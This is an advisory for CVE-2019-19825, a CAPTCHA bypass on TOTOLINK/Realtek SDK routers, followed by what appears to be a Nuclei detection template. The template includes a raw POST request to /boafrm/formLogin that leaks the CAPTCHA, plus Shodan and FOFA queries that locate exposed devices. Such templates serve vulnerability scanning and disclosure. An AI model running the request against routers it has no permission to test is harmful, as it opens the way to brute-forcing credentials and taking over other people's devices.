On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
PoC代码[已公开]
id: CVE-2019-19825
info:
name: TOTOLINK/Realtek Routers - CAPTCHA Bypass
author: ritikchaddha
severity: critical
description: |
On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
reference:
- http://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-19825
classification:
cve-id: CVE-2019-19825
cwe-id: CWE-287
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
metadata:
verified: true
max-requests: 1
vendor: totolink
product: totolink-router
fofa-query: title="totolink"
shodan-query: http.html:"TOTOLINK"
tags: cve,cve2019,totolink,realtek,captcha,bypass
http:
- raw:
- |
POST /boafrm/formLogin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"topicurl":"setting/getSanvas"}
matchers:
- type: dsl
dsl:
- 'regex("^[A-Za-z0-9]{4}$", body)'
- 'contains(content_type, "text/html")'
- 'content_length == 4'
- 'status_code == 200'
condition: and